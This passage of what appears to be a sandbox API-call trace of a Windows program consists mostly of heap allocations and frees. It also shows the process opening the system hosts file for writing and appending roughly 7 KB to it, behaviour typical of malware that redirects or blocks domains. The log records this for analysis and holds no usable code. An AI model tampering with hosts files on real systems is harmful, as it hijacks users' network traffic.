Size=0x20) returned 0x5f2640 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2668 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2690 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f26b8 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f26e0 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2708 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2730 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2758 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2780 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f27a8 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f27d0 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f27f8 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2820 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2848 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2870 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2898 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f28c0 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f28e8 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2910 [0048.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2938 [0048.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2960 [0048.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2988 [0048.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f29b0 [0048.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f29d8 [0048.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2a00 [0048.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2a28 [0048.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2a50 [0048.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2a78 [0048.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f2aa0 [0048.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5eff28 | out: hHeap=0x5c0000) returned 1 [0048.520] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x18edb0 | out: pszPath="C:\\Windows") returned 0x0 [0048.983] PathAppendW (in: pszPath="C:\\Windows", pMore="System32\\drivers\\etc\\hosts" | out: pszPath="C:\\Windows\\System32\\drivers\\etc\\hosts") returned 1 [0048.983] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\hosts" (normalized: "c:\\windows\\system32\\drivers\\etc\\hosts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0 [0048.983] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x338 [0048.984] SetFilePointer (in: hFile=0xa0, lDistanceToMove=824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x338 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x5d5500 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x47) returned 0x5f0110 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5500 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6a) returned 0x5f0160 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f0110 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x9e) returned 0x5f01d8 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f0160 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xec) returned 0x5f0280 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f01d8 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x161) returned 0x5f0110 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f0280 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x211) returned 0x5f0280 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f0110 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x319) returned 0x5f04a0 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f0280 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4a5) returned 0x5f07c8 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f04a0 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6f7) returned 0x5f0c78 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f07c8 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa72) returned 0x5f0110 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f0c78 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfaa) returned 0x5f2e00 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f0110 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x17a1) returned 0x5f6bd0 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2e00 | out: hHeap=0x5c0000) returned 1 [0048.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x235f) returned 0x5f8380 [0048.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6bd0 | out: hHeap=0x5c0000) returned 1 [0048.984] WriteFile (in: hFile=0xa0, lpBuffer=0x5f83a0*, nNumberOfBytesToWrite=0x1c76, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x5f83a0*, lpNumberOfBytesWritten=0x18ed70*=0x1c76, lpOverlapped=0x0) returned 1 [0048.985] CloseHandle (hObject=0xa0) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f8380 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec118 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec140 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec168 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec190 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec1b8 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec1e0 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec208 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec230 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec258 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec280 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec2a8 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec2d0 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec2f8 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec320 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec348 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec370 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec398 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec3c0 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec3e8 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec410 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ec438 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1618 | out: hHeap=0x5c0000) returned 1 [0048.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1640 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1668 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1690 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f16b8 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f16e0 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1708 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1730 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1758 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1780 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f17a8 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f17d0 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f17f8 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1820 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1848 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1870 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1898 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f18c0 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f18e8 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1910 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1938 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1960 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1988 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f19b0 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f19d8 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1a00 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1a28 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1a50 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1a78 | out: hHeap=0x5c0000) returned 1 [0048.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1aa0 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1ac8 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1af0 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1b18 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1b40 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1b68 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1b90 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1bb8 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1be0 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1c08 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1c30 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1c58 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1c80 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1ca8 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1cd0 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1cf8 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1d20 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1d48 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1d70 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1d98 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1dc0 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1e18 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1e40 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1e68 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1e90 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1eb8 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1ee0 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1f08 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1f30 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1f58 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1f80 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1fa8 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1fd0 | out: hHeap=0x5c0000) returned 1 [0048.989] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f1ff8 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2020 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2048 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2070 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2098 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f20c0 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f20e8 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5490 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2110 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2138 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2160 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2188 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f21b0 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f21d8 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2200 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2228 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2250 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2278 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f22a0 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f22c8 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f22f0 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2318 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2340 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2368 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2390 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f23b8 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f23e0 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2408 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2430 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2458 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2480 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f24a8 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f24d0 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f24f8 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2520 | out: hHeap=0x5c0000) returned 1 [0048.990] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2548 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2570 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2598 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f25c0 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2618 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2640 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2668 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2690 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f26b8 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f26e0 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2708 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2730 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2758 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2780 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f27a8 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f27d0 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f27f8 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2820 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2848 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2870 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2898 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f28c0 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f28e8 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2910 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2938 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2960 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2988 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f29b0 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f29d8 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2a00 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2a28 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2a50 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2a78 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f2aa0 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f4e00 | out: hHeap=0x5c0000) returned 1 [0048.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5eeaf8 | out: hHeap=0x5c0000) returned 1 [0048.992] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0048.992] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0048.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ea3e8 | out: hHeap=0x5c0000) returned 1 [0048.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ecdc8 | out: hHeap=0x5c0000) returned 1 [0048.992] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0048.992] GetLastError () returned 0x57 